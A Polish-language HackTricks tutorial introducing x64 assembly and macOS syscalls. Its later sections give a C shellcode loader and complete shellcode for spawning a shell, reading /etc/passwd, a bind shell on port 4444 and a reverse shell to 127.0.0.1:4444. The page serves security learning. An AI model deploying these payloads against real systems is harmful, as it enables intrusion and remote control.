hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md

457 lines
16 KiB
Markdown
Raw Normal View History

# Wprowadzenie do x64
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
## **Wprowadzenie do x64**
x64, znane również jako x86-64, to 64-bitowa architektura procesora, głównie używana w komputerach stacjonarnych i serwerach. Pochodzi z architektury x86 produkowanej przez Intel, a później przyjętej przez AMD pod nazwą AMD64, jest to dominująca architektura w komputerach osobistych i serwerach dzisiaj.
### **Rejestry**
x64 rozwija architekturę x86, oferując **16 rejestrów ogólnego przeznaczenia** oznaczonych jako `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, oraz `r8` do `r15`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). Te rejestry mają również 32-bitowe, 16-bitowe i 8-bitowe podrejestry dla zgodności i specyficznych zadań.
1. **`rax`** - Tradycyjnie używany do **wartości zwracanych** z funkcji.
2. **`rbx`** - Często używany jako **rejestr bazowy** dla operacji pamięci.
3. **`rcx`** - Powszechnie używany do **liczników pętli**.
4. **`rdx`** - Używany w różnych rolach, w tym rozszerzonych operacjach arytmetycznych.
5. **`rbp`** - **Wskaźnik bazowy** dla ramki stosu.
6. **`rsp`** - **Wskaźnik stosu**, śledzący szczyt stosu.
7. **`rsi`** i **`rdi`** - Używane do indeksów **źródłowych** i **docelowych** w operacjach na łańcuchach/pamięci.
8. **`r8`** do **`r15`** - Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.
### **Konwencja wywołań**
Konwencja wywołań x64 różni się w zależności od systemu operacyjnego. Na przykład:
* **Windows**: Pierwsze **cztery parametry** są przekazywane w rejestrach **`rcx`**, **`rdx`**, **`r8`** i **`r9`**. Dalsze parametry są umieszczane na stosie. Wartość zwracana znajduje się w **`rax`**.
* **System V (powszechnie używany w systemach podobnych do UNIX)**: Pierwsze **sześć parametrów całkowitych lub wskaźnikowych** jest przekazywanych w rejestrach **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** i **`r9`**. Wartość zwracana również znajduje się w **`rax`**.
Jeśli funkcja ma więcej niż sześć argumentów, **pozostałe będą przekazywane na stosie**. **RSP**, wskaźnik stosu, musi być **wyrównany do 16 bajtów**, co oznacza, że adres, na który wskazuje, musi być podzielny przez 16 przed jakimkolwiek wywołaniem. Oznacza to, że normalnie musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym shellcode przed wywołaniem funkcji. Jednak w praktyce wywołania systemowe działają wiele razy, nawet jeśli ten wymóg nie jest spełniony.
### Konwencja wywołań w Swift
Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Typowe instrukcje**
Instrukcje x64 mają bogaty zestaw, zachowując zgodność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.
* **`mov`**: **Przenieś** wartość z jednego **rejestru** lub **lokacji pamięci** do drugiego.
* Przykład: `mov rax, rbx` — Przenosi wartość z `rbx` do `rax`.
* **`push`** i **`pop`**: Wstawiaj lub wyjmuj wartości z **stosu**.
* Przykład: `push rax` — Wstawia wartość w `rax` na stos.
* Przykład: `pop rax` — Wyjmuje górną wartość ze stosu do `rax`.
* **`add`** i **`sub`**: Operacje **dodawania** i **odejmowania**.
* Przykład: `add rax, rcx` — Dodaje wartości w `rax` i `rcx`, zapisując wynik w `rax`.
* **`mul`** i **`div`**: Operacje **mnożenia** i **dzielenia**. Uwaga: mają one specyficzne zachowania dotyczące użycia operandów.
* **`call`** i **`ret`**: Używane do **wywoływania** i **zwracania z funkcji**.
* **`int`**: Używane do wywoływania oprogramowania **przerwania**. Np. `int 0x80` było używane do wywołań systemowych w 32-bitowym x86 Linux.
* **`cmp`**: **Porównaj** dwie wartości i ustaw flagi CPU na podstawie wyniku.
* Przykład: `cmp rax, rdx` — Porównuje `rax` z `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...**: Instrukcje **skoku warunkowego**, które zmieniają przepływ sterowania na podstawie wyników poprzedniego `cmp` lub testu.
* Przykład: Po instrukcji `cmp rax, rdx`, `je label` — Skacze do `label`, jeśli `rax` jest równy `rdx`.
* **`syscall`**: Używane do **wywołań systemowych** w niektórych systemach x64 (jak nowoczesny Unix).
* **`sysenter`**: Zoptymalizowana instrukcja **wywołania systemowego** na niektórych platformach.
### **Prolog funkcji**
1. **Wstaw stary wskaźnik bazowy**: `push rbp` (zapisuje wskaźnik bazowy wywołującego)
2. **Przenieś aktualny wskaźnik stosu do wskaźnika bazowego**: `mov rbp, rsp` (ustawia nowy wskaźnik bazowy dla bieżącej funkcji)
3. **Przydziel miejsce na stosie dla zmiennych lokalnych**: `sub rsp, <size>` (gdzie `<size>` to liczba bajtów potrzebnych)
### **Epilog funkcji**
1. **Przenieś aktualny wskaźnik bazowy do wskaźnika stosu**: `mov rsp, rbp` (zwalnia zmienne lokalne)
2. **Wyjmij stary wskaźnik bazowy ze stosu**: `pop rbp` (przywraca wskaźnik bazowy wywołującego)
3. **Zwróć**: `ret` (zwraca kontrolę do wywołującego)
## macOS
### syscalls
Istnieją różne klasy wywołań systemowych, możesz [**znaleźć je tutaj**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Następnie możesz znaleźć każdy numer syscall [**pod tym adresem**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Aby wywołać syscall `open` (**5**) z klasy **Unix/BSD**, musisz dodać: `0x2000000`
Zatem numer syscall do wywołania open to `0x2000005`
### Shellcodes
Aby skompilować:
{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
Aby wyodrębnić bajty:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}
<details>
<summary>Kod C do testowania shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
</details>
#### Shell
Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.
{% tabs %}
{% tab title="z adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% tab title="z użyciem stosu" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### Czytaj za pomocą cat
Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### Wywołaj polecenie za pomocą sh
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Bind shell
Bind shell z [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **porcie 4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### Reverse Shell
Reverse shell z [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell do **127.0.0.1:4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}